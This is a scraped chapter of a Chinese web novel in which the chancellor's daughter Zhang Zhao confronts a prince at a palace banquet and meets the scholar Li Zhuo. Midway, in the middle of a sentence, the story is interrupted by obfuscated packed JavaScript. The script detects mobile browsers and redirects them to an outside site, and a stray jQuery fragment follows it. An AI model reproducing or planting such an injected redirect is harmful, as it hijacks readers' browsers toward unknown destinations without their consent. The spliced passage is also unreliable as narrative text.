3. 第 3 章 相府千金

作品:《点酥娘

    正值初夏,御花园百花齐放,争奇斗艳。


    皇贵妃柳妃便借“赏花”的名义,邀京城诸位官宦家眷到宫中一聚。


    而看似赏花,实则是议亲。


    陈国各位皇子渐渐都已及冠,这次百花宴正是拿来说亲。


    而说亲一事,说大不大,说小也不小。要知道,一个皇子若是能娶得一位家族强势的妻子,这无疑是在继承皇位这条路上添砖加瓦。


    自孝文帝继位以来,太子之位迟迟没有人选,各位皇子虎视眈眈,皆有登上皇位的可能。


    通往皇宫的路上,张昭、张暄以及母亲聂映雪共乘一辆马车,不时闲聊。


    对张暄,张昭还是有股别扭的情感,恰好那两人聊的宫廷之事她不感兴趣,于是便独自趴在窗边发呆。


    可马车就这么大,两人的对话还是时不时地会落入张昭耳朵,她不得已也听进去了一些。


    张暄问:“既然是为皇子议亲,为何设宴之人不是皇后,而是贵妃?”


    聂映雪道:“你刚回京城有所不知,十几年前,皇后娘娘诞下九殿下之时,宫中恰逢大火,不幸遇难,而九殿下也因此失踪,至今下落不明。皇上宠爱皇后,九殿下也是倍受期待,心知此事定是后宫为争夺太子之位所设计,奈何揪不出幕后凶手,一气之下,久久不立太子。”


    张昭默默听着,心想,书中结尾并未道明九殿下的身份,是他早已命丧黄泉,还是有其他人物在她活着的时候尚未出现?


    ……


    夏日花园,繁花灼灼,荷风拂过,送来满池清香。蝉鸣藏在浓叶间,光影在花间轻轻晃动。


    宴上,柳贵妃命人上酒,窈窕宫娥缓步前来,一颦一笑,更为此宴增添美色。


    果酒香气四溢,熏得没喝酒的人也醉了。


    百花宴无聊得很,张昭无心嫁人,再者,她恶名在外,就算她愿意嫁,别人也不一定愿意娶。


    于是趁着聂映雪与其他朝廷命妇闲聊的间隙,张昭偷偷溜走。


    皇宫内部小路错综复杂,若是没有熟悉的人带领,恐怕是要走丢的。


    但张昭没这个烦恼,只因她自儿时起,便经常受邀到宫里玩。她的姨母、聂映雪的姊妹,正是四妃之一的纯妃。


    所以进宫于她而言,不过家常便饭。


    皇宫境内有一茶园,除了采茶的宫女以外,鲜少有人前往。茶园内茶香飘浮,正好能去去她身上的酒味。于是,张昭迈步朝茶园走去。


    踏上幽僻小径,她悠闲走在攀布青苔假山之间,脚下是汉白玉铺就的小径,山间流水,水声哗啦。


    张昭不合时宜地想,这种地方太适合杀人了,若是有人在这里杀我,恐怕我是喊破喉咙也不会有人来救我的。


    张昭轻哼一笑,心道自己真是神经病,一天尽想些坏事。


    转过汉白玉小径,往前便是万春亭。


    忽地,她似乎听见前方传来吵声。


    张昭心头一颤,心说自己这张乌鸦嘴不会真说中了吧?真有人在这儿杀人?


    可到底放不下看热闹的心思,张昭小心翼翼地朝前走去,借着拐角乱石丛林,她藏身其后,慢慢探头。


    只见万春亭下,亭口守着一太监与几名侍卫。亭中,两男子相对而站,稍高的那位背着自己,看不见是谁,矮的那人张昭倒是认得出,当今圣上的五皇子,她的……牌友。


    她控制不住地想起书中那位五皇子的悲剧。


    未来,五皇子受赏封地黔州,黔州天高路远,贫瘠不堪,他上任后没多久,生了场大病,不日后便客死他乡。


    张昭这个角度望去,陈毅安双手背在身后,一副趾高气扬的样子……好不欠揍。


    陈毅安面色狰狞,“你算是什么东西,也敢跟我叫板!”


    “我告诉你,在这皇宫里,我是尊贵的皇子,而你,不过是一条我父皇养的狗罢了。”


    “我让你跪,你就必须跪,让你给我舔鞋,你就得给我舔得干干净净!”


    这未免也太侮辱人了,张昭感受到心里有一团怒火在隐隐燃烧。


    “你敢不从?”陈毅安大手一挥,指着面前之人恶狠狠说道:“来人,给我摁住他。”


    “是!”


    几名侍卫奉命,上前架住那人的肩膀,正要将他往下压时,张昭看不下去,她上前几步,大吼一声。


    “住手!”


    一行人停下手中的动作,除了那人,皆应声望去。


    只见一名女子踩着青石板路快步朝亭中走来。


    鬓边那支点翠嵌珠祥云钗正随着步子颤巍巍晃动,钗头垂下的珍珠流苏扫过颊边,却遮不住那双含着怒意的杏眼。


    藕荷色的软缎宫装被她走得带起风,腰间系着的鸾鸟衔枝玉佩撞出急促的脆响,偏她走得又快又急,露在外面的皓腕上那只绞丝银镯晃得人眼晕。


    张昭走到亭下,推开那几个胁制男人的侍卫。


    “张昭,你做什么!”


    张昭毫无畏惧之色,她将男人拉到自己身后,一双杏眼瞪着陈毅安,“我还想问问你做什么呢。”


    “我收拾个下人你管得着吗?”陈毅安有些纳闷,他与张昭一直都是赌桌友谊,交情尚浅,但怎么着张昭也不应该为了这么个小人物就与自己作对。


    “他做了什么惹了你,你何必这样咄咄逼人。”


    “他是什么都没做,但我今日就是瞧他不爽,我今日就是要他给我跪下。”


    张昭那两道柳叶眉拧得快要竖起,她薄唇轻启,坚定从嘴中吐出二字——


    “不跪!”


    陈毅安不可置信地看着她,“张昭,你发什么疯?你平日里不是最讨厌这些文绉绉的人吗,现在你居然为了这种人跟我吼什么?”


    “你少给我胡说八道。”张昭上前一步,与陈正明争锋相对,毫不客气。


    “我是讨厌文绉绉的人不错,那是因为夫子总是喜欢拐弯抹角地骂我。”


    “所以,比起那种一肚子墨水的人,我更讨厌你这种目中无人、傲慢无礼的蠢货。”


    陈毅安气得火冒三丈,他怒指着张昭,说道:“你说我是蠢货,你这个草包有什么资格骂我。”


    张昭说:“骂你怎么了,我就骂了,有本事你也让我跪下给你舔鞋。但是,你敢吗?”


    谁敢这样羞辱张昭?


    她父亲是当朝丞相,姨母是正得皇宠的纯妃。


    她张昭身份显贵,谁敢羞辱?


    饶是皇上疼爱的皇子公主,也得礼让三分。


    更何况陈毅安这个五皇子还不受宠。


    “你……”


    陈毅安再生气,此刻也被张昭怼得说不出话,张昭说的对,他的确不敢动她。


    但是张昭身后那人,他却是可以随意羞辱的。


    陈毅安盯上男人那双深不见底的眸子,一字一句说道。


    “你不过是写一篇文章,得了我父皇的一丁点赏识,你妄想平步青云、扶摇直上,我告诉你,少白日做梦。”


    “我们走。”


    一行人跟在陈毅安身后,离开了万春亭,他们一走,瞬时,亭下空荡许多。


    张昭因他的话愣在原地,直到守在亭外的公公叫她,她才回过神来,转过身去。


    男人比张昭高出一个头,后者仰视那张俊脸,一时竟有些看呆。


    他眼窝略深,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183091|196980||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞳仁是极沉的墨色,静时像浸在寒潭里的黑曜石,不见底。


    乌发用白冠束得一丝不苟,几缕碎发垂在光洁的额前,衬得眉骨愈发清峻——那眉浓淡相宜,斜斜扫向鬓角,宛如画师用饱蘸浓墨的笔勾勒出的线条,利落、疏朗。


    张昭扭头看向男人英俊的脸,眉梢下意识上挑。


    “你是李琢?”


    李琢抿着唇,似乎对于面前之人没有丝毫谢意,仿佛她也不过是个什么也没做的陌生人。


    但规矩礼仪摆在那儿,李琢不会造次。


    他朝张昭鞠了一躬,轻声说:“多谢张小姐。”


    张昭没立即回他。她环胸抱着手,绕着李琢转了一圈,眼神中的打量清晰可见。


    她有些意外,书中权倾朝野的重臣,怎么会是这么一幅不卑不亢、云淡风轻的模样呢?不应该长一幅老奸巨猾、阴险狡诈的面容吗?


    可眼前之人,分明就是……


    张昭看了下四周,忽见山间有一簇花朵开得旺盛,那似乎是夹竹桃,她心虚地咬咬唇。


    心想,分明就是一只夹竹桃嘛。


    嗯,还是一只长得好看的夹竹桃。


    这种感觉难以描述,张昭肚子里墨水不多,更是形容不出来李琢带给她的感受。


    好像一阵清风。


    看不见,摸不着,却能扰乱一起涟漪。


    张昭实在意外,忍不住又问:“那篇什么琢磨的文章是你写的?”


    “正是在下。”


    “这样啊。”张昭若有所思地点点头,想起父亲对此人的夸赞,她随口说道:“我父亲说你文章写得好。”


    李琢:“嗯。”


    张昭继续说:“他说你是个奇才。”


    李琢依然只是“嗯”。


    “他还说想要有你当儿子。”


    “……”


    饶是李琢再淡然,此刻也嗯不下去了。


    见男人说不出话,张昭的心中升起一股笑意。


    “其实我说的是真的,我爹真是那样说的。”


    张昭全然忘记老父亲的原话是“要是我有这么个儿子,我也就死而无怨了”。


    李琢还是不说话。


    “好吧,对不起,我不说了。”


    于是,李琢又是一声嗯。


    “不过话说回来,你是不是还不知道我是谁?”张昭凑近去看他。


    李琢平静地看着那双秋水明眸,有那么一个瞬间,他是想撒谎的。但最终还是没有,他低声说,“知道。”


    张昭故意问:“我是谁?”


    “相府千金。”


    “你居然知道我。”


    张昭微微有些惊讶,但转念一想,看来可以套近乎。


    “京城谁人不知你的名号?”李琢有些无奈。


    他刚入京城不久,但一来可是就听说了“相府千金,草包张昭”的名号。


    张昭哼了一声,嘟囔道:“肯定不是什么好话。”


    下一刻,她转过身,发丝有意无意地擦过李琢的手背。


    手背泛痒,李琢皱了下眉,又听那人说——


    “待你日后飞黄腾达,可不要忘了我啊。”


    说完,那个女人便缓缓抬步离去,只留李琢一人在原地。


    李琢微不可察地冷笑,嘴中自嘲一般发问:“寒门出身,真有飞黄腾达那日吗?”


    那句小声的嘀咕,守在亭边的公公没有听见,令人意想不到的是,竟然完整落入张昭耳中。


    张昭侧过身体,理所当然地说。


    “当然啊,你可是李琢。”


    “……”


    两人对视片刻,张昭再度离去。